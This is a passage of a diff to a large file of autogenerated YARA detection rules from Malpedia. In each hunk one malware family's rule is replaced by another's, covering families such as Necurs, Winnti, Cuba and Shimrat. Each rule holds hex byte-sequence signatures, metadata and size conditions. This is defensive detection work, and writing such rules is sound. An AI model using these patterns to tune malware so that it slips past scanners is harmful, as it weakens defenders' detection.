+		$sequence_5 = { 6a3e 59 f7f1 8a821c104000 88041f 47 3bfe }
+		$sequence_6 = { 741d 48 7416 68???????? e8???????? }
+		$sequence_7 = { 56 57 6a5c ff30 e8???????? }
 
 	condition:
-		7 of them and filesize <454656
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Sierras_Auto : FILE
+rule MALPEDIA_Win_Acbackdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "605d6eab-f109-574e-b05c-a9ae83591a9c"
+		id = "3b37a750-d7e0-5ba6-b796-2dbd4d0ee414"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sierras_auto.yar#L1-L167"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acbackdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acbackdoor_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "a564c7fabb45cfabecce73bb6168ff37faec379b0995b89fe8defbd9d38cf80c"
+		logic_hash = "429f71da1516445c35871fa605cbaf3bc00568c9cb40515ab43ec3dc7a2d0a3f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171553,38 +178637,32 @@ rule MALPEDIA_Win_Sierras_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f3a4 8d8c2424050000 8d942430080000 51 }
-		$sequence_1 = { 56 8bf1 57 68???????? 8d4604 50 }
-		$sequence_2 = { 50 8d45e0 50 e8???????? eb0f 8b4dec }
-		$sequence_3 = { e8???????? 50 8d442430 50 8d8c24ec000000 }
-		$sequence_4 = { 0f8480030000 8b4dfc ff4df8 0fb611 8bcf }
-		$sequence_5 = { 7507 e8???????? eb05 e8???????? 0175f0 }
-		$sequence_6 = { 8bf1 e8???????? 8b8698010000 5e }
-		$sequence_7 = { 8bc8 83e103 f3a4 8bbc2410040000 }
-		$sequence_8 = { 03fb 3b7d10 72b0 8b5df0 834dfcff 8d4de0 }
-		$sequence_9 = { 8bf1 33db 6a01 6a78 }
-		$sequence_10 = { f2ae f7d1 2bf9 8d942480000000 8bf7 8bd9 8bfa }
-		$sequence_11 = { 8bf1 e8???????? 8b8608010000 5e c3 56 }
-		$sequence_12 = { 397d08 897dfc 0f8cc0000000 837d0801 7e58 }
-		$sequence_13 = { c7401880dd4000 e9???????? 83e00f c70613000000 894648 8b4648 85c0 }
-		$sequence_14 = { 58 0fb688c88c4000 6683bc8e7e0a000000 7506 }
-		$sequence_15 = { 3bf8 7cce 8b442418 83c520 40 83f803 89442418 }
+		$sequence_0 = { ba04000000 e9???????? 8b542448 8b4c244c 8b742440 89542420 894c2424 }
+		$sequence_1 = { ebbd 8b442440 890424 ff15???????? 83ec04 89c3 83c42c }
+		$sequence_2 = { c744240c76070000 c7442408???????? c744240404000000 892c24 e8???????? 8b442438 892c24 }
+		$sequence_3 = { 8b7904 895c2408 894c2404 890424 e8???????? 8b4c243c 0fb64500 }
+		$sequence_4 = { e8???????? 85c0 7e06 83c414 5b 5e c3 }
+		$sequence_5 = { e8???????? 8b06 8b5054 85d2 0f8415fdffff 8b4050 85c0 }
+		$sequence_6 = { c744241087934a00 c744240cc8000000 c7442408???????? c744240401000000 892c24 e8???????? 8b85c4000000 }
+		$sequence_7 = { 89c8 8b4c2430 31de 8b5c2434 8987d0000000 894f50 895f54 }
+		$sequence_8 = { e8???????? 8b83c4000000 c783cc00000004000000 c783c800000016000000 c60000 891c24 e8???????? }
+		$sequence_9 = { e8???????? 8bbc241c020000 8d742434 31db 85ff 7e1e 8b86f0010000 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <1704960
 }
-rule MALPEDIA_Win_Necurs_Auto : FILE
+rule MALPEDIA_Win_Kgh_Spy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3d1b7316-0e79-5ade-97ef-8f3ac3ffb54d"
+		id = "95e1000f-6599-59f6-ad77-7fb1f63fc7e2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.necurs_auto.yar#L1-L159"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kgh_spy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kgh_spy_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "75c1414f6695a00e2fea038874de3164067ad0287567965dcfd36d5ca522d078"
+		logic_hash = "c99afdfd1b207e301e0a54b515065ba98af784202a9cd5e6f9a55bcba5a38dab"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171598,38 +178676,32 @@ rule MALPEDIA_Win_Necurs_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 13f2 a3???????? 8935???????? 890d???????? 8bc1 5e }
-		$sequence_1 = { 030d???????? a3???????? a1???????? 13f2 a3???????? }
-		$sequence_2 = { 13f2 33d2 030d???????? a3???????? }
-		$sequence_3 = { 8bc2 034508 5e 5d c3 55 }
-		$sequence_4 = { 03c8 a1???????? 13f2 33d2 }
-		$sequence_5 = { 56 8bf2 ba06e0a636 f7e2 }
-		$sequence_6 = { 397508 7604 33c0 eb12 }
-		$sequence_7 = { 2b7508 33d2 46 f7f6 8bc2 034508 }
-		$sequence_8 = { 8d85ecfbffff 57 50 e8???????? 83c410 }
-		$sequence_9 = { 33d7 33c1 52 50 }
-		$sequence_10 = { 6a7d 50 ffd6 59 }
-		$sequence_11 = { 8bc1 0bc7 7409 8bc1 8bd7 e9???????? }
-		$sequence_12 = { 57 57 8d8574ffffff 50 }
-		$sequence_13 = { 6a7b 50 ffd6 8bf8 59 59 }
-		$sequence_14 = { 53 ff15???????? 59 33c0 5e }
-		$sequence_15 = { a1???????? 33d2 f7f1 ff05???????? }
+		$sequence_0 = { 488b442428 8b4c2430 894808 e9???????? 4883c458 5f }
+		$sequence_1 = { 75e2 488b842498000000 89442460 8b442468 8b4c2460 488b542470 4803d1 }
+		$sequence_2 = { 488d8c24b0000000 ff15???????? 85c0 0f8547010000 0fb705???????? }
+		$sequence_3 = { 488d8424300a0000 4889842488000000 48c7442450ffffffff 48ff442450 }
+		$sequence_4 = { 488b4c2468 803c0800 75e8 488b442468 488d8c24c0000000 48898c2498000000 48c7442470ffffffff }
+		$sequence_5 = { f3aa 488d4c2428 ff15???????? 0fb7442428 83f809 740a 0fb7442428 }
+		$sequence_6 = { 488d8424f0030000 488bf8 33c0 b908020000 f3aa 4c8d0df7e30000 }
+		$sequence_7 = { 4885c0 7403 f0ff00 488d4128 41b806000000 488d15b4a30000 483950f0 }
+		$sequence_8 = { 8bc8 e8???????? 48898424d8000000 48c744242000000000 4c8d8c2470010000 448b442468 }
+		$sequence_9 = { 488d1dddab0000 483bcb 740c e8???????? }
 
 	condition:
-		7 of them and filesize <475136
+		7 of them and filesize <207872
 }
-rule MALPEDIA_Win_Gopuram_Auto : FILE
+rule MALPEDIA_Win_Session_Manager_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "886a3e56-99e6-5544-870d-cee2f3bf23a6"
+		id = "dc2cef80-2dcf-5809-93bd-82c69da769f0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gopuram_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.session_manager_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "4e587acafeaded148024e517c8ecf7276743814969e25e84b3cedf8d114b44f9"
+		logic_hash = "603fcab78a4336ae9ff58b2ce6e64cc670272e944fe82c789ba11945e145dd5d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171643,34 +178715,34 @@ rule MALPEDIA_Win_Gopuram_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 48894308 4885c0 7412 418d562f 488bc8 e8???????? }
-		$sequence_1 = { 448bfb 48895dc7 8bcb 48895d9f 48895db7 48895d97 48895da7 }
-		$sequence_2 = { 8bc1 83e010 c1e804 898508010000 f6c104 7507 f6c108 }
-		$sequence_3 = { e8???????? eb21 c7442420210e0480 41b99e100000 4c8d05938b0600 8bd7 488bce }
-		$sequence_4 = { ff05???????? b801000000 4883c428 c3 ff0d???????? 751a 488b0d???????? }
-		$sequence_5 = { e9???????? 488b0d???????? 488b01 ff90f8000000 83f805 0f84e1fdffff 488b0d???????? }
-		$sequence_6 = { 66094354 8b8597000000 83c0fc 83f801 0f8755010000 488b742448 418bf9 }
-		$sequence_7 = { 89543104 488d051c8b0300 48898698040000 4889aea0040000 4889aea8040000 4889aeb0040000 488d8eb8040000 }
-		$sequence_8 = { 890d???????? c705????????09000380 8bcf 488d05ce350900 6690 3b70fc 7508 }
-		$sequence_9 = { bf01000000 e9???????? 488b0d???????? 488b01 ff90f8000000 83f805 7463 }
+		$sequence_0 = { 4c89b848240000 4c89b850240000 4c89b858240000 4c89b860240000 4c89b868240000 4c89b870240000 }
+		$sequence_1 = { 4c8d35fb2d0100 83e63f 488beb 48c1fd06 48c1e606 498b04ee }
+		$sequence_2 = { 4c89b838060000 4c89b840060000 4c89b848060000 4c89b850060000 4c89b858060000 4c89b860060000 4c89b868060000 }
+		$sequence_3 = { 4c89b8100b0000 4c89b8180b0000 4c89b8200b0000 4c89b8280b0000 4c89b8300b0000 4c89b8380b0000 }
+		$sequence_4 = { 4c89b8c8180000 4c89b8d0180000 4c89b8d8180000 4c89b8e0180000 4c89b8e8180000 4c89b8f0180000 }
+		$sequence_5 = { 4c89b890030000 4c89b898030000 4c89b8a0030000 4c89b8a8030000 4c89b8b0030000 4c89b8b8030000 4c89b8c0030000 }
+		$sequence_6 = { 4c89b820220000 4c89b828220000 4c89b830220000 4c89b838220000 4c89b840220000 4c89b848220000 4c89b850220000 }
+		$sequence_7 = { ff15???????? 488d0df81b0200 ff15???????? 488d0d7b170200 ff15???????? }
+		$sequence_8 = { 488d0dd7070000 e8???????? e8???????? 488d0d42070000 e8???????? }
+		$sequence_9 = { 4533c9 458d4101 488d542450 488bcb ff90a8000000 }
 
 	condition:
-		7 of them and filesize <1591296
+		7 of them and filesize <372736
 }
-rule MALPEDIA_Win_Graphdrop_Auto : FILE
+rule MALPEDIA_Win_Cuba_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9b2ea7f1-3511-52b3-a5e3-7dff660f4219"
+		id = "8e1fe25d-f2c0-551f-8e41-a3623d0fa4f8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphdrop"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphdrop_auto.yar#L1-L112"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cuba_auto.yar#L1-L166"
 		license_url = "N/A"
-		logic_hash = "f69680c5241d19c09af86db48aaa89e34bb562d83e95c226a91b7e2e978f1c7f"
+		logic_hash = "9f0de113045e5c6c763dd8b7a39764d54e03c53f19ccc2d0320fdbbeb66fa89e"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -171682,34 +178754,40 @@ rule MALPEDIA_Win_Graphdrop_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4154 90 415c 90 }
-		$sequence_1 = { 4155 49c7c501000000 4150 4152 415a }
-		$sequence_2 = { 52 0f77 90 5a }
-		$sequence_3 = { 0f77 0f77 5b 0f77 }
-		$sequence_4 = { 49c7c501000000 4150 4152 415a 4158 }
-		$sequence_5 = { 52 50 58 5a 49ffc9 }
-		$sequence_6 = { 49c7c501000000 4150 4152 415a 4158 49ffcd }
-		$sequence_7 = { 4150 4152 415a 4158 }
-		$sequence_8 = { 4155 49c7c501000000 4150 4152 415a 4158 49ffcd }
-		$sequence_9 = { 4152 415a 4158 49ffcd }
+		$sequence_0 = { 0019 43 41 00444341 }
+		$sequence_1 = { ffb5fcfeffff ffb5fcfdffff ff15???????? 85c0 750d 8b95c0fbffff 53 }
+		$sequence_2 = { 33d2 85c0 7e0c 807c95bc19 740c 42 3bd0 }
+		$sequence_3 = { 85c0 0f84b4000000 8bbdc8fbffff 53 68???????? 8d85f0fbffff 50 }
+		$sequence_4 = { 000d???????? 384100 b538 41 }
+		$sequence_5 = { 0026 45 41 003a }
+		$sequence_6 = { 85c0 750c 57 ff15???????? e9???????? 56 ff15???????? }
+		$sequence_7 = { 0012 45 41 0026 }
+		$sequence_8 = { 6a02 6a00 688b010000 ff75f4 ff15???????? ff75f4 f7d8 }
+		$sequence_9 = { 757a ffb5d4fbffff 50 6800040000 }
+		$sequence_10 = { 8945f4 8b4514 40 c745ecac9c4000 894df8 8945fc }
+		$sequence_11 = { 0026 43 41 00b043410062 }
+		$sequence_12 = { 000c43 41 0035???????? 43 }
+		$sequence_13 = { 003a 45 41 004245 }
+		$sequence_14 = { 03f0 c1ca16 8b85e0feffff 03b40510ffffff 03b0f4b14100 03b5e8feffff 8d0437 }
+		$sequence_15 = { 000446 41 00d1 45 }
 
 	condition:
-		7 of them and filesize <4186112
+		7 of them and filesize <1094656
 }
-rule MALPEDIA_Win_Winnti_Auto : FILE
+rule MALPEDIA_Win_Tabmsgsql_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3bce81c4-b806-55af-b179-e7a33535f793"
+		id = "95969567-7681-52bb-9f9f-efce304f47a8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.winnti_auto.yar#L1-L247"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tabmsgsql_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "bb0b6cf106deb97c4eb44fec946685f152141bb95569eea2bec56d5f75cb75c8"
+		logic_hash = "7b59d9e77530877005ccccefb5d251d16423422a57046d3f1c0987aa86d57fc9"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -171721,46 +178799,32 @@ rule MALPEDIA_Win_Winnti_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 52 8bce e8???????? 53 8bf8 ff15???????? }
-		$sequence_1 = { ff15???????? 663dffff 747b 663dfeff 7475 8b942494020000 83c9ff }
-		$sequence_2 = { c22000 8b4d00 56 6a03 68c8000000 51 ff15???????? }
-		$sequence_3 = { 8bf0 83c404 85f6 7509 5f 5e 83c8ff }
-		$sequence_4 = { 807a025c 75bf 83c203 8a0a 56 33f6 b801000000 }
-		$sequence_5 = { 895e08 895e0c ffd7 50 }
-		$sequence_6 = { 83c404 85db 0f84da000000 55 8b6c2430 56 57 }
-		$sequence_7 = { 6a01 52 6a02 8974243c 89742430 c644244800 ff15???????? }
-		$sequence_8 = { 488d8a40000000 e9???????? 488b8a40000000 4883c108 e9???????? 488b8a80000000 e9???????? }
-		$sequence_9 = { 48037c2470 48897c2478 488b8c2400010000 4885c9 741f 4183fe01 7513 }
-		$sequence_10 = { 4c8d25b6f10000 498b0c24 4d8bc5 488bd3 e8???????? 85c0 }
-		$sequence_11 = { 4803f7 4c03f7 41ffca 660f1f840000000000 478d0c1a }
-		$sequence_12 = { 75f8 488d15e1160000 b12e 482bd0 }
-		$sequence_13 = { 4963f9 48897db7 453bc5 0f8e4f020000 418bc0 412bc5 448be0 }
-		$sequence_14 = { 3918 0f4c18 3bcb 0f8d87000000 488d3d979c0a00 ba58000000 488bcd }
-		$sequence_15 = { 4c2bc1 0f1f00 410fb6440801 8811 }
-		$sequence_16 = { 4d85ed 7429 488d15fcd70a00 498bcd }
-		$sequence_17 = { 4c8bc7 48894768 488d4567 ba18822200 }
-		$sequence_18 = { 4889542410 53 4881ecb0000000 33db }
-		$sequence_19 = { 488d542450 4438742450 740a 6690 48ffc2 }
-		$sequence_20 = { 488d1debad0000 488d3d64ae0000 eb0e 488b03 4885c0 7402 }
-		$sequence_21 = { 8a45d9 4b8b8cf800a20b00 88443139 4b8b84f800a20b00 8854303a eb4c 493bde }
-		$sequence_22 = { 57 4156 4157 4883ec30 4c8bf1 33ff }
-		$sequence_23 = { 44895c391c 4963cb 488bd1 48c1fa10 498b8680000000 }
+		$sequence_0 = { 33c0 f2ae f7d1 2bf9 8bd1 8bf7 8bbc24a4010000 }
+		$sequence_1 = { 8a443901 c0fb02 8a80c8244100 c0e004 02c3 880416 }
+		$sequence_2 = { 8882c8254100 48 42 83f841 }
+		$sequence_3 = { 8bf8 75ce 8b6c2414 8b542418 b8ad8bdb68 }
+		$sequence_4 = { 6804010000 8b842478030000 52 c744242844000000 c744245401010000 8b08 8b400c }
+		$sequence_5 = { f2ae f7d1 49 8d85c8f7ffff }
+		$sequence_6 = { 0f8eb2000000 8b7c2414 0fbe05???????? 33db 8a1c39 3bd8 }
+		$sequence_7 = { ff15???????? b940000000 33c0 bf???????? 68???????? f3ab 68???????? }
+		$sequence_8 = { a1???????? 50 ff15???????? b940000000 33c0 bf???????? }
+		$sequence_9 = { 33c0 8a443901 c0fb02 8a80c8244100 c0e004 02c3 880416 }
 
 	condition:
-		7 of them and filesize <1581056
+		7 of them and filesize <163840
 }
-rule MALPEDIA_Win_Badflick_Auto : FILE
+rule MALPEDIA_Win_Breakthrough_Loader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "24a1778a-a3eb-561a-a408-849c5f96759c"
+		id = "c04a79be-d1c6-5097-81f4-9cd0a78c5ca6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badflick_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.breakthrough_loader_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "416482f46b00136f041d59b3fa9a5b2a608db531874355803fb74761c46fd686"
+		logic_hash = "6b4d6b03c6e2480f390e69c1bdad99aa25aa8d566c5f76108e42a507f3962675"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171774,32 +178838,32 @@ rule MALPEDIA_Win_Badflick_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 74e2 6800800000 53 ff75f8 ff75e4 ff15???????? }
-		$sequence_1 = { 56 ff75fc ff15???????? 53 ff15???????? 33c0 5f }
-		$sequence_2 = { 8d4598 53 50 c7459044000000 895d94 e8???????? 33c0 }
-		$sequence_3 = { 8bec 51 51 8b4d0c 8b4101 53 56 }
-		$sequence_4 = { 68???????? 50 ffd7 be???????? 56 }
-		$sequence_5 = { 8945fc ffd6 8bf0 8d85e8fcffff 50 }
-		$sequence_6 = { 5d c3 b001 c3 55 8bec }
-		$sequence_7 = { 50 8b4704 03450c 50 8b47fc 0345f8 }
-		$sequence_8 = { 85c0 0f85e7000000 6a01 ff7305 }
-		$sequence_9 = { ff750c e8???????? 50 e8???????? 59 59 56 }
+		$sequence_0 = { 7e2a 8b7df8 660f1f840000000000 0fb7444e08 a900300000 740a }
+		$sequence_1 = { 5d c3 8b4d14 890e 8b4d24 }
+		$sequence_2 = { 8945e8 8945f8 8b4508 56 be???????? c745eca07d4400 57 }
+		$sequence_3 = { 8b450c 0fb68401d86a4400 c1e804 5d }
+		$sequence_4 = { 85f6 742d 83f910 8d442420 0f43442420 881418 }
+		$sequence_5 = { e8???????? 33c0 c744242c07000000 8d8c2490000000 }
+		$sequence_6 = { 8bc7 83e03f 6bc830 8b049540354500 f644082801 7421 57 }
+		$sequence_7 = { 83e03f 6bc030 59 59 0304bd40354500 5f eb05 }
+		$sequence_8 = { 8b0cbd40354500 83c410 8b7de8 89440f20 8bc6 }
+		$sequence_9 = { 8b3e 8d0417 3bd0 731d 8d47ff 8906 8b4b20 }
 
 	condition:
-		7 of them and filesize <81920
+		7 of them and filesize <753664
 }
-rule MALPEDIA_Win_Poweliks_Auto : FILE
+rule MALPEDIA_Win_Bravonc_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "14491e8d-2d96-5692-9946-38a18e40eb85"
+		id = "e1447c3c-8c4c-54e5-9d2c-b00b52d2dc03"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poweliks_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bravonc_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "38ca9b6ecbf4df7389b1ea24aaf1d7d4d015a732f44c61342f6c9c25d4c2ea48"
+		logic_hash = "76468ca1f8266a49d1bb0da33f680bf0a2046353d9d66d58507a76281c00d1b6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171813,32 +178877,32 @@ rule MALPEDIA_Win_Poweliks_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb0b 8b5118 ebc9 8b5dec 8b75e8 8b45f8 8b0c87 }
-		$sequence_1 = { c745b4726f6341 c745b864647265 66c745bc7373 c645be00 8bc8 57 }
-		$sequence_2 = { 83ff0c 7439 3bc8 75ce 8b5508 }
-		$sequence_3 = { 8d5598 33ff 2bf2 8d147e 8a541598 32547d98 }
-		$sequence_4 = { 7415 8b7d08 8b720c 81c704110000 03f7 8b7a04 }
-		$sequence_5 = { 663b4b06 7333 8b4a08 8b32 3bce 7602 8bce }
-		$sequence_6 = { 33c9 663b4b06 7333 8b4a08 8b32 3bce 7602 }
-		$sequence_7 = { 57 0fb65dfe 81e307000080 7905 4b }
-		$sequence_8 = { 8b3486 8365fc00 03ca 894df4 8d45d0 03f2 2945f4 }
-		$sequence_9 = { 3a5c0db0 7506 40 83f80f }
+		$sequence_0 = { 0f8c05040000 8b06 3b7804 0f8dfa030000 395e04 7407 50 }
+		$sequence_1 = { 5b c3 55 8bec 53 33db 395d0c }
+		$sequence_2 = { 57 ff75ec 334dec 030a 034df0 8d8401d6c162ca 8945f0 }
+		$sequence_3 = { 8907 8b45f4 2bfb 59 59 8907 8b45fc }
+		$sequence_4 = { 83c430 8bce 53 56 e8???????? 5f 5e }
+		$sequence_5 = { e8???????? 8b0e 030f c1e104 2bc1 eb08 8d4de0 }
+		$sequence_6 = { ff75f0 e8???????? 8b4df8 83c440 334dec 57 }
+		$sequence_7 = { 335dfc 3175fc 83c118 ff4df0 8bf2 8b55fc 8955f8 }
+		$sequence_8 = { 83450c08 ebd2 d36d08 8b0c8590b24000 234d08 014df0 8bc8 }
+		$sequence_9 = { 03f3 2bfb 03f3 890f }
 
 	condition:
-		7 of them and filesize <115712
+		7 of them and filesize <131072
 }
-rule MALPEDIA_Win_Devopt_Auto : FILE
+rule MALPEDIA_Win_Agfspy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b2799a63-9237-56b1-b622-1d4cf3bf7ea8"
+		id = "aa314a06-4040-546e-b9cd-d5bfa676b734"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.devopt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.devopt_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agfspy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.agfspy_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "f040e8bf75c02b10fb9ecd2b3e85bb747221bae38ed54254a620b66ea3085268"
+		logic_hash = "e751bb17a85204a5afd3cbca773cdafd25186332344d59ffe01d62696a3fda9d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171852,32 +178916,32 @@ rule MALPEDIA_Win_Devopt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb42 8b45fc f7402810000000 7402 eb34 8b45fc 80b8a900000000 }
-		$sequence_1 = { eb11 3b5df0 7e02 eba3 8d7600 c745f0ffffffff 8b45f0 }
-		$sequence_2 = { eb0b 8b45fc 8b4034 8945d4 eb25 8b45d0 83e00f }
-		$sequence_3 = { ff9240040000 84c0 7502 eb0b 8b55f8 8b45fc e8???????? }
-		$sequence_4 = { e8???????? 8b45f4 ba???????? 8955e8 8945ec 8d55e8 31c0 }
-		$sequence_5 = { 8b4240 8b55f4 8b4a40 8b11 ff5268 8945f0 89d7 }
-		$sequence_6 = { ff93a8020000 8b45d4 8d40fc 50 8b45d0 8d48fc 8b45f8 }
-		$sequence_7 = { 8d6424e0 53 8945f4 8955fc 894df8 837dfc00 7e02 }
-		$sequence_8 = { ff75f0 ff75fc e8???????? 31d2 58 83c40c 648902 }
-		$sequence_9 = { eb1e 8b45f8 a9ffffffff 7402 eb12 8b45f4 e8???????? }
+		$sequence_0 = { 7527 83fefd 7431 8a4101 3a4201 751a 83fefe }
+		$sequence_1 = { 85f6 7539 8d45c0 50 8d45d4 50 e8???????? }
+		$sequence_2 = { 731d 8d4101 83fe10 8945d0 8d45c0 0f4345c0 881408 }
+		$sequence_3 = { c645fc04 8d45b0 837dc408 51 0f4345b0 8d4d84 50 }
+		$sequence_4 = { e8???????? eb46 8b4720 85c0 741f 837e1410 8bce }
+		$sequence_5 = { 2bc1 83c0fc 83f81f 7724 e9???????? 32c0 8b4df4 }
+		$sequence_6 = { 837de808 0f4375d4 3b55cc 752f 85d2 7413 2bf0 }
+		$sequence_7 = { 50 e8???????? 8ac8 8b45b4 83f80c 74e7 }
+		$sequence_8 = { 0fb602 eb05 8b01 ff501c 83f8ff 742f 8b0e }
+		$sequence_9 = { d1f8 51 8bcb 8d0442 50 52 }
 
 	condition:
-		7 of them and filesize <4645888
+		7 of them and filesize <1482752
 }
-rule MALPEDIA_Win_Unidentified_095_Auto : FILE
+rule MALPEDIA_Win_Shimrat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "37abc0ea-ddce-59f3-9ad7-8e440d8ff0bb"
+		id = "9f2cf600-46fb-5fe2-9403-91a4ffe5dc91"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_095"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_095_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shimrat_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "2ccf7caa3b3d5540a5f23128f7d00405bc7a6134a0c6b4f4e250221b4826e780"
+		logic_hash = "4e378ef30b6703953f18ff74f4c2d2ea366c27ea22af1636e2d889f102c09783"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -171891,32 +178955,32 @@ rule MALPEDIA_Win_Unidentified_095_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffc8 6641833c465c 7505 6641892c46 4c8bbc24e8000000 }
-		$sequence_1 = { 85c0 7553 488bcf ff15???????? 488d4c2430 }
-		$sequence_2 = { 488bd0 48d3ca 4933d0 4b8794fe90440200 eb2d }
